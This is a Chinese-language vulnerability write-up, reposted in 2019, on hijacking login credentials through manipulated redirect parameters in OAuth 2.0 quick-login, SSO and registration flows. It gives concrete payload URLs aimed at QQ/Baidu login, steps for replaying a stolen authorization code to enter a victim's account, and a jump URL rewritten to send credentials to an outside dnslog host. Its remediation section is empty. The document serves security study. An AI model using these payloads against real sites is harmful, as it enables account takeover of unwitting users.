标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2441] 作者: 闲云野鸡 发表于: [2019-08-09]
本文共 [412] 位读者顶过
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。[出自:jiwo.org]
1.1 漏洞危害 劫持凭证,构造链接登录受害者账号
1.2. 漏洞点类型
1. oauth2.0快捷登录
1.3. oauth2.0快捷登录 很多厂商使用了OAuth2.0的认证方式 利用场景:1、主站可第三方登录,漏洞站是否第三方登录都无影响 2、一级域名下的某个信任域能够加载外部链接
这是第三方登录的接口:↓ https://graph.qq.com/oauth2.0/authorize?client_id=100312028&response_type=code&display=pc&state=1516604022&redirect_uri=https://passport.baidu.com/phoenix/account/afterauth?mkey=6f2d1d001e4be09e285ed6931751d0aa&scope=get_user_info,get_other_info,add_t,add_share 这个链接是第三方登录口:↓ https://passport.baidu.com/phoenix/account/afterauth?mkey=6f2d1d001e4be09e285ed6931751d0aa 现在分析参数:↓
state=1516604022
redirect_uri参数:是要跳转到这个参数值网址。
最后redirect_uri参数值是redirect_uri=带有外部链接的网址&mkey=6f2d1d001e4be09e285ed6931751d0aa payload 发给目标的url:↓ https://graph.qq.com/oauth2.0/authorize?client_id=100312028&response_type=code&display=pc&state=1516604022&redirect_uri=带有外部链接的网址&mkey=6f2d1d001e4be09e285ed6931751d0&scope=get_user_info,get_other_info,add_t,add_share 目标只要打开该链接,并且点击头像登录。那么就会跳转到带有外部链接的网址 此时第三方登录会给用户一个code值,用户会带着code值去访问带有外部链接的网址 而带有外部链接的那个网址会自动加载外部链接,外部链接的作用就是获取referer 那么黑客就会获取到code值。 最后劫持登录的payload:↓ 访问第三方登录口 https://passport.baidu.com/phoenix/account/afterauth?mkey=868b9c0330c56e46a27c8da7f75708d1&code=获取到的code值&state=1516505635
再访问http://www.baidu.com成功登录目标账户
1.4. sso单点登录 单点登录(Single Sign On),简称为 SSO,是目前比较流行的企业业务整合的解决方案之一。SSO的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。
漏洞点:www.domain.com -> aaa.domain.com 当A用户登录了www.domain.com后,访问aaa.domain.com无需账号密码,sso会发送凭证给aaa.domain.com。 劫持:抓取sso发送给aaa.domain.com凭证的数据包,将跳转到aaa.domain.com这个值改为我们的dnslog地址。然后将这个链接发送给已经登录www.domain.com的A用户,那么A用户会往aaa.domain.com发送凭证,这时候就被我们的dnslog劫持了。
1.5. 注册登录 新用户注册或者用户登录的时候,网站会传递凭证给用户。这时候通过修改redirect_url为自己的dnslog,去劫持凭证 https://aaa.xxxxx.com/MxkEngine/mobilePage/xxdc_register_login/xxdc_login.html?jumpURL=http://www2.hg8l7g.ceye.io?aaa.xxxxx.com/MxkEngine/mobilePage/xxdc_issue/xxdc_ReceiveNoPayment.html?userid=# 成功跳转到www.*******.****.**(此处有打码)
1.6.修复建议
|